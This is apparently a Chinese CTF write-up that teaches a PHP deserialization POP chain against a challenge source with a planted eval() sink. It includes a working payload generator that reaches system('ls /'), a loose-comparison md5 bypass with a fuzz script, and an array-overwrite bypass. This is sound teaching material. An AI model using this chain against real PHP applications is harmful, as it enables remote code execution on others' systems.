花还会重新开,不同的春来了又来。
- 2025.4.11
0x01 声明
仅作为个人学习使用,仅供参考,欢迎交流
可能是新生赛缘故,突发奇想,想好好梳理此题,顺便写成参考,于是有了这篇文章
当然很多理解可能不够到位,还请见谅
此外,本人所有博客始终贯彻原创与开源原则,若访问文章显示付费,请及时私信
不排除平台会自动设置付费的可能,本人会第一时间关注并处理
0x02 源码
源码 如下,只对传参逻辑进行少许修改其余保持不变,顺手写成dockerfile,开启容器
php
<?php
class AAA
{
public $aear;
public $string;
public function __construct($a)
{
$this->aear = $a;
}
function __destruct()
{
echo $this->aear;
}
public function __toString()
{
$new = $this->string;
return $new();
}
}
class BBB
{
private $pop;
public function __construct($string)
{
$this->pop = $string;
}
public function __get($value)
{
$var = $this->$value;
$var[$value]();
}
}
class DDD
{
public $bag;
public $magazine;
public function __toString()
{
$length = @$this->bag->add();
return $length;
}
public function __set($arg1, $arg2)
{
if ($this->magazine->tower) {
echo "really??";
}
}
}
class EEE
{
public $d = array();
public $e;
public $f;
public function __get($arg1)
{
$this->d[$this->e] = 1;
if ($this->d[] = 1) {
echo 'nononononnnn!!!';
} else {
eval($this->f);
}
}
}
class FFF
{
protected $cookie;
protected function delete()
{
return $this->cookie;
}
public function __call($func, $args)
{
echo 'hahahhhh';
call_user_func([$this, $func . "haha"], $args);
}
}
class GGG
{
public $green;
public $book;
public function __invoke()
{
if (md5(md5($this->book)) == 666) {
return $this->green->pen;
}
}
}
if (!isset($_POST['UP'])) {
highlight_file(__FILE__);
} else {
unserialize($_POST['UP']);
}
?>
0x03 魔术方法
(下文会有讲解,此处作为参考)

0x04 构造POP链
php
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
0x05 分析过程
第一步
构造利用链的第一步是确定链尾,即能够触发 远程代码执行 ( RCE )的代码点
eval($this->f),具备执行代码的能力,锁定链尾
php
-> EEE::__get()
第二步
我们需要考虑如何触发 EEE
类中的 __get()
魔术方法
魔术方法 __get() 触发条件
当你访问一个不存在或不可访问(private 或 protected)的属性时,触发魔术方法 __get()
++例如++

php
class Demo {
public $a = "public";
private $b = "private";
protected $c = "protected";
public function __get($name) {
return "__get() 被触发了:你访问了 $name";
}
}
$Demo = new Demo();
echo $Demo->a; // ✅ 直接输出 public
echo $Demo->b; // ❗触发 __get("b")
echo $Demo->c; // ❗触发 __get("c")
echo $Demo->d; // ❗触发 __get("d"),d 不存在
echo Demo-\>value; 如果触发 __get($value)后,
会将 __get(value)方法的返回值 作为 Demo->$value 的返回值。
php
访问echo $Demo->b;
↓
PHP发现:b 是私有属性,不能访问
↓
于是自动调用 __get("b")
↓
__get() 返回 "__get() 被触发了:你访问了 b"
↓
这个值就被当作 $Demo->b 的值返回了!
因此输出:
php
public // public属性
__get() 被触发了:b // private属性
__get() 被触发了:c // protected属性
__get() 被触发了:d // 不存在的属性
回归正题

了解触发条件后,我们发现
php
如果 $this->green 是 EEE类 的一个对象,
↓
由于 GGG类 中根本不存在 pen 属性,自然无法访问到 pen;
↓
那么 $this->green->pen; 就会触发 EEE::__get()
因此
php
-> GGG::__invoke() -> EEE::__get()
第三步
我们需要考虑如何触发 GGG
类中的 __invoke()
魔术方法
魔术方法 invoke**() 触发条件**

当对象被当作函数调用时,触发魔术方法 __invoke()
++例如++
php
class Demo {
public function __invoke($name) {
return "__invoke() 被触发了:你传入了 $name";
}
}
$Demo = new Demo();
echo $Demo("Hello"); // ❗触发 __invoke("Hello")
php
$Demo("Hello")
↓
$Demo 是 Demo类的一个对象,$obj()即把对象当成函数调用
↓
PHP一看:你居然让对象执行函数调用动作
↓
调用 $Demo->__invoke("Hello");
↓
最终输出就是 __invoke() 的返回值,即 return "__invoke() 被触发了:你传入了 $name";
↓
此时 $name = "Hello"
回归正题

php
如果 $this->string是 GGG类 的一个对象
↓
$new = $this->string; 将 $new 赋值为 GGG 的对象;
↓
return $this->string();将$GGG的对象当做函数调用;
↓
触发 GGG::__invoke();
因此
php
-> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
第四步
我们需要考虑如何触发 AAA
类中的 __toString()
魔术方法
魔术方法 __toString() 触发条件

当对一个对象执行 echo
、 print
、 字符串拼接
等操作,触发魔术方法 __toString()
++例如++

php
class Demo {
public function __toString() {
return "__toString() 被触发了!\n";
}
}
$Demo = new Demo();
// 用 echo 输出对象
echo $Demo;
// 用 print 输出对象
print $Demo;
// 把对象拼接到字符串中
$text = "这是一个对象:$Demo";
echo $text;
输出
php
__toString() 被触发了! // 执行 echo 操作
__toString() 被触发了! // 执行 print 操作
这是一个对象:__toString() 被触发了! // 执行 字符串拼接
回归正题

php
如果 $this->aear 是AAA的一个对象
↓
echo $this->aear 触发 AAA的__toString()方法
↓
AAA::__toString()
因此
php
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
第五步
我们需要考虑如何触发 AAA
类中的 __destruct()
魔术方法
魔术方法 __destruct() 触发条件

析构函数 会在 当某个对象的所有引用都被删除或者当对象被显式销毁时 执行。
换句话说,
只要你 new
创建一个对象,当它"不再使用"或"被清理掉", PHP 就会自动帮你调用 __destruct()
做一些"结束前的收尾工作"。
++例如++

php
class Demo {
public function __destruct() {
echo "__destruct() 被触发了!\n";
}
}
$Demo = new Demo();
输出
php
__destruct() 被触发了!
回归正题,由于 __destruct()
特殊的触发条件或者说根本不需要什么条件,我们的 POP 链也就构造成功了。
除此以外,还需要了解 __construct()
触发方式
魔术方法 __construct() 触发条件

当你使用 new
创建一个对象时, PHP 会自动调用这个类的 __construct()
方法,触发条件非常简单直接
php
class Demo {
public function __construct($name) {
echo "你好,$name\n";
}
}
$Demo = new Demo("橙橙"); // 触发 __construct("橙橙")
输出
php
你好,橙橙
__construct() 可以有参数:
php
// 如果构造函数有参数 + 没有默认值,你不传入参数值就会报错
class Demo {
public function __construct($name) {
echo "你好,$name\n";
}
}
$Demo = new Demo(); // ❌ 错误:缺少参数
$Demo = new Demo(1); // ✅ 成功,输出:你好,1
// Fatal error: Uncaught ArgumentCountError: Too few arguments to function Demo::__construct(), 0 passed...
// 创建 Demo 类的对象时,没有传递构造函数需要的参数,但构造函数 (__construct) 没有默认值,导致 PHP 无法执行对象的初始化。
0x06 构造Payload
构造 Payload 需要本地PHP环境,请参考之前文章
https://blog.csdn.net/2301_80877061/article/details/144911396?spm=1001.2014.3001.5502
https://blog.csdn.net/2301_80877061/article/details/145059231?spm=1001.2014.3001.5502
或者自行查阅教程
根据POP链和以上分析,开始构造Payload
php
AAA::__destruct() -> AAA::__toString() -> GGG::__invoke() -> EEE::__get()
php
// POP链起点在AAA类,创建 AAA类对象
// 触发construct($a)要求传入参数 $a,赋值 1 给 aear,后续值能够覆盖
$AAA = new AAA(1); // 触发 AAA::__destruct()
$AAA->aear=$AAA; // 触发 AAA::__toString(),覆盖 aear值
$AAA->string=new GGG(); // 触发 GGG::__invoke()
$AAA->string->book=213; // 绕过点1
$AAA->string->green=new EEE(); // 触发 EEE::__get()
$AAA->string->green->d=1; // 绕过点2
$AAA->string->green->f="system('ls /');"; // POP链尾,RCE
echo serialize($AAA);
// echo urlencode(serialize($AAA));

Payload
php
<?php
class AAA
{
public $aear;
public $string;
// public function __construct($a)
// {
// $this->aear = $a;
// }
// function __destruct()
// {
// echo $this->aear;
// }
// public function __toString()
// {
// $new = $this->string;
// return $new();
// }
}
class BBB
{
private $pop;
// public function __construct($string)
// {
// $this->pop = $string;
// }
// public function __get($value)
// {
// $var = $this->$value;
// $var[$value]();
// }
}
class DDD
{
public $bag;
public $magazine;
// public function __toString()
// {
// $length = @$this->bag->add();
// return $length;
// }
// public function __set($arg1, $arg2)
// {
// if ($this->magazine->tower) {
// echo "really??";
// }
// }
}
class EEE
{
public $d = array();
public $e;
public $f;
// public function __get($arg1)
// {
// $this->d[$this->e] = 1;
// if ($this->d[] = 1) {
// echo 'nononononnnn!!!';
// } else {
// eval($this->f);
// }
// }
}
class FFF
{
protected $cookie;
// protected function delete()
// {
// return $this->cookie;
// }
// public function __call($func, $args)
// {
// echo 'hahahhhh';
// call_user_func([$this, $func . "haha"], $args);
// }
}
class GGG
{
public $green;
public $book;
// public function __invoke()
// {
// if (md5(md5($this->book)) == 666) {
// return $this->green->pen;
// }
// }
}
$AAA = new AAA(1);
$AAA->aear=$AAA;
$AAA->string=new GGG();
$AAA->string->book=213;
$AAA->string->green=new EEE();
$AAA->string->green->d=1;
$AAA->string->green->f="system('ls /');";
echo serialize($AAA);
// echo urlencode(serialize($AAA));
?>
Hackbar 在执行表单提交时,不排除会对Payload进行二次编码的可能
所以Urlencode后我一般用 Bp 提交

绕过点1

php
$AAA->string->book=213; // 绕过点1
为什么 213 能够绕过呢,== 注意是PHP的弱类型比较
php
if (md5(md5($this->book)) == 666)
php
<?php
echo md5(213). "\n";
echo md5(md5(213));
?>
// 979d472a84804b9f647bc185a877a8b5 字符串类型
// 666ca9a2be31fd949cb9b55686caef9a 字符串类型
php
PHP 进行 弱类型比较,在比较时尝试将 字符串 转换为数字,会从字符串的开头部分提取数字作为比较值
字符串是以数字开头,PHP 会将其转化为该数字,直到遇到非数字字符停止
例如
'a' -> 0
'1a' -> 1
'123a' -> 123
因此
'666ca9a2be31fd949cb9b55686caef9a' -> 666
'666ca9a2be31fd949cb9b55686caef9a' == 666 成立,true
Fuzz脚本:两次md5加密后,前三位为666且第四位为字母
php
import hashlib
def find_md5():
i = 0
res = []
while len(res) < 5:
# 原始输入
orig = str(i)
# 第一次md5加密
fmd5 = hashlib.md5(orig.encode()).hexdigest()
# 第二次md5加密
smd5 = hashlib.md5(fmd5.encode()).hexdigest()
# 检查是否符合条件:前三位是'666',第四位是字母
if smd5[:3] == '666' and smd5[3].isalpha():
res.append((orig, smd5))
i += 1
return res
# 获取符合条件的五个实例及其原始输入
result = find_md5()
# 打印结果
for orig, smd5 in result:
print(f"原始输入: {orig}, 加密结果: {smd5}")

绕过点2

php
$AAA->string->green->d=1; // 绕过点2
php
public $d = array(); // $d 被声明为数组
$this->d[$this->e] = 1; // 将 $this->e 的值作为键,向 $this->d 数组中添加一个元素,值为 1
php
if ($this->d[] = 1){
// code...
}
// $this->d[] = 1 向数组的末尾赋值1并返回 1 -> if(1)为true -> 条件判断恒成立
++举个例子++
php
<?php
$Demo = array(); // 定义一个空数组
$a = '1';
$Demo[$a]=1;
if ($Demo[] = 1) {
echo "true\n"; // true,条件判断成立
}
print_r($Demo)
?>
(可以发现,这里键名延续,若键名不为整数类型,则从0递增)这不是重点

重点是 if ($this->d[] = 1)
恒成立,应该怎么绕过呢?
php
覆盖 $d 的值,使其不为一个数组
从而导致 $this->d[] = 1 操作报错或不按预期执行,绕过恒成立的条件判断。
例如:
$AAA->string->green->d = 1; // 数字
$AAA->string->green->d = '1'; // 字符串
$AAA->string->green->d = NULL; // NULL
$AAA->string->green->d = NAN; // 设置为 NaN
0x07 End
至此,反序列化的分析已全部结束
如有错误或者理解不够到位的地方,还请指正,感谢各位的耐心和支持!